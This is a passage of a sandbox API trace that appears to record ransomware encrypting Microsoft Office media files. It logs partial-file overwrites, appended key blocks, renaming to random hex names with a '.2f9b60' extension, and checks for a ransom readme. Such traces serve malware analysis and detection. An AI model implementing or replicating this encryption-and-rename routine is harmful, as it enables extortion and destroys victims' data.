BaseAddress=0x20262000) returned 1 [0115.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0115.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0115.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263470) returned 1 [0115.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.627] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.627] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="58") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="86") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="3f") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="c5") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="50") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="97") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="22") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="64") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="a9") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="cf") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="83") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="49") returned 2 [0115.627] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="34") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="e8") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="42") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="fc") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="c0") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="f9") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="c7") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="6d") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="26") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="2a") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="68") returned 2 [0115.628] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="fd") returned 2 [0115.628] RtlInitAnsiString (in: DestinationString=0x390efba8, SourceString="58863fc550972264a9cf834934e842fcc0f9c76d262a68fd" | out: DestinationString="58863fc550972264a9cf834934e842fcc0f9c76d262a68fd") [0115.628] RtlAnsiStringToUnicodeString (in: DestinationString=0x390efb78, SourceString="58863fc550972264a9cf834934e842fcc0f9c76d262a68fd", AllocateDestinationString=1 | out: DestinationString="58863fc550972264a9cf834934e842fcc0f9c76d262a68fd") returned 0x0 [0115.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0115.628] wcscat (in: _Dest=0x1b7adac0, _Source="58863fc55097" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58863fc55097") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58863fc55097" [0115.628] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58863fc55097.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58863fc55097.2f9b60" [0115.628] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58863fc55097.2f9b60", NtPathName=0x390efb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\58863fc55097.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.629] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x390efbf0, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.630] NtQueryInformationFile (in: FileHandle=0xd7c, IoStatusBlock=0x390efbb8, FileInformation=0x390efbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x390efbb8, FileInformation=0x390efbc8) returned 0x0 [0115.630] NtSetInformationFile (FileHandle=0xd7c, IoStatusBlock=0x390efbb8, FileInformation=0x390efbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0115.632] FlushFileBuffers (hFile=0xd7c) returned 1 [0115.676] CloseHandle (hObject=0xd7c) returned 1 [0115.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a590 [0115.723] wcscpy (in: _Dest=0x1b86a590, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.723] wcscat (in: _Dest=0x1b86a590, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a590) returned 1 [0115.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ae90) returned 1 Thread: id = 1245 os_tid = 0xe20 [0115.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf")) returned 0x20 [0115.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF", dwFileAttributes=0x20) returned 1 [0115.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233312.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233312.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c8 [0115.619] GetFileSizeEx (in: hFile=0x14c8, lpFileSize=0x3978fa60 | out: lpFileSize=0x3978fa60*=33016) returned 1 [0115.619] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x80f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.619] ReadFile (in: hFile=0x14c8, lpBuffer=0x3978f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3978fa28, lpOverlapped=0x0 | out: lpBuffer=0x3978f9e0*, lpNumberOfBytesRead=0x3978fa28*=0x4, lpOverlapped=0x0) returned 1 [0115.650] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e90 [0115.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0115.650] NtQuerySystemTime (in: CurrentTime=0x3978f920 | out: CurrentTime=0x3978f920*=132462177211102000) returned 0x0 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x78e453fc [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x30b10b36 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x45fc7b56 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x5e01d877 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x2cbcb14d [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x22a55445 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x14f7df51 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x51284708 [0115.650] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x3ab0a625 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x65f45058 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x73514439 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x6f921e56 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x72da5d43 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x36a9bc4e [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x6709a10d [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x54d25985 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x33e2f510 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x1fe6d33e [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x3e4f3701 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x163efe4d [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x14186935 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x553ff5e [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x68b54053 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x6502aeec [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x4310e099 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x1e6e21a9 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x53fded70 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x3629e2d [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x2248cbe [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x5a395126 [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x5e5fb5be [0115.651] RtlRandomEx (in: Seed=0x3978f910 | out: Seed=0x3978f910) returned 0x227e4586 [0115.663] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.663] ReadFile (in: hFile=0x14c8, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3978f980, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x3978f980*=0x3c00, lpOverlapped=0x0) returned 1 [0115.692] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261160) returned 1 [0115.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20179560 [0115.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ed0 [0115.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ed0) returned 1 [0115.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.693] WriteFile (in: hFile=0x14c8, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3978f980, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x3978f980*=0x3c00, lpOverlapped=0x0) returned 1 [0115.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0115.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0115.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9730 [0115.858] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.858] WriteFile (in: hFile=0x14c8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3978fa30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3978fa30*=0x10a, lpOverlapped=0x0) returned 1 [0115.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0115.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8683c0 [0115.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626f0) returned 1 [0115.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626f0 [0115.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bc0) returned 1 [0115.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0115.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0115.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f00 [0115.895] sprintf (in: _Dest=0x1b7d7f00, _Format="%c%c" | out: _Dest="ce") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f02, _Format="%c%c" | out: _Dest="e7") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f04, _Format="%c%c" | out: _Dest="ef") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f06, _Format="%c%c" | out: _Dest="ed") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f08, _Format="%c%c" | out: _Dest="e6") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f0a, _Format="%c%c" | out: _Dest="e5") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f0c, _Format="%c%c" | out: _Dest="db") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f0e, _Format="%c%c" | out: _Dest="b7") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f10, _Format="%c%c" | out: _Dest="b0") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f12, _Format="%c%c" | out: _Dest="ce") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f14, _Format="%c%c" | out: _Dest="db") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f16, _Format="%c%c" | out: _Dest="b4") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f18, _Format="%c%c" | out: _Dest="44") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f1a, _Format="%c%c" | out: _Dest="b9") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f1c, _Format="%c%c" | out: _Dest="d9") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f1e, _Format="%c%c" | out: _Dest="71") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f20, _Format="%c%c" | out: _Dest="ce") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f22, _Format="%c%c" | out: _Dest="14") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f24, _Format="%c%c" | out: _Dest="39") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f26, _Format="%c%c" | out: _Dest="e4") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f28, _Format="%c%c" | out: _Dest="92") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f2a, _Format="%c%c" | out: _Dest="28") returned 2 [0115.895] sprintf (in: _Dest=0x1b7d7f2c, _Format="%c%c" | out: _Dest="04") returned 2 [0115.896] sprintf (in: _Dest=0x1b7d7f2e, _Format="%c%c" | out: _Dest="9d") returned 2 [0115.896] RtlInitAnsiString (in: DestinationString=0x3978faa8, SourceString="cee7efede6e5dbb7b0cedbb444b9d971ce1439e49228049d" | out: DestinationString="cee7efede6e5dbb7b0cedbb444b9d971ce1439e49228049d") [0115.896] RtlAnsiStringToUnicodeString (in: DestinationString=0x3978fa78, SourceString="cee7efede6e5dbb7b0cedbb444b9d971ce1439e49228049d", AllocateDestinationString=1 | out: DestinationString="cee7efede6e5dbb7b0cedbb444b9d971ce1439e49228049d") returned 0x0 [0115.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0115.896] wcscat (in: _Dest=0x1b7ada20, _Source="cee7efede6e5" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cee7efede6e5") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cee7efede6e5" [0115.896] wcscat (in: _Dest=0x1b7ada20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cee7efede6e5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cee7efede6e5.2f9b60" [0115.896] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cee7efede6e5.2f9b60", NtPathName=0x3978fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\cee7efede6e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050b8a0 [0115.896] NtSetInformationFile (FileHandle=0x14c8, IoStatusBlock=0x3978faf0, FileInformation=0x2050b8a0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b8a0) returned 1 [0115.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.903] NtQueryInformationFile (in: FileHandle=0x14c8, IoStatusBlock=0x3978fab8, FileInformation=0x3978fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3978fab8, FileInformation=0x3978fac8) returned 0x0 [0115.903] NtSetInformationFile (FileHandle=0x14c8, IoStatusBlock=0x3978fab8, FileInformation=0x3978fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0115.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0115.905] FlushFileBuffers (hFile=0x14c8) returned 1 [0115.940] CloseHandle (hObject=0x14c8) returned 1 [0115.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a500 [0115.972] wcscpy (in: _Dest=0x1b86a500, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.972] wcscat (in: _Dest=0x1b86a500, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a500) returned 1 [0115.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86af20) returned 1 Thread: id = 1246 os_tid = 0xe34 [0115.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf")) returned 0x20 [0115.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF", dwFileAttributes=0x20) returned 1 [0115.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0234131.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0234131.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0115.623] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x3983fd00 | out: lpFileSize=0x3983fd00*=26162) returned 1 [0115.623] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x662e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.623] ReadFile (in: hFile=0x14b8, lpBuffer=0x3983fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3983fcc8, lpOverlapped=0x0 | out: lpBuffer=0x3983fc80*, lpNumberOfBytesRead=0x3983fcc8*=0x4, lpOverlapped=0x0) returned 1 [0115.663] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0115.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0115.663] NtQuerySystemTime (in: CurrentTime=0x3983fbc0 | out: CurrentTime=0x3983fbc0*=132462177211258000) returned 0x0 [0115.663] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x2b7128fe [0115.663] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x2fda5edc [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x1de77b0 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x60d33167 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x131f1c53 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x3b0a82aa [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x78fecf36 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x7e156de6 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x72981b8d [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x6bd66d48 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x78eeb2e1 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x3535dd61 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x654999af [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x2025ec67 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x6508e300 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x686f5000 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x282c5fb5 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x1674165c [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x25c5d78a [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x6db02259 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x2506efc2 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x3997edf9 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x106012e5 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x7be783cf [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x6419c626 [0115.664] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x78b205a2 [0115.665] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x5a38c5cf [0115.665] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x261af710 [0115.665] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x63dec758 [0115.665] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x3d8355ee [0115.665] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x6492a8be [0115.665] RtlRandomEx (in: Seed=0x3983fbb0 | out: Seed=0x3983fbb0) returned 0x9b6a6b5 [0115.675] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.675] ReadFile (in: hFile=0x14b8, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3983fc20, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x3983fc20*=0x3c00, lpOverlapped=0x0) returned 1 [0115.693] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 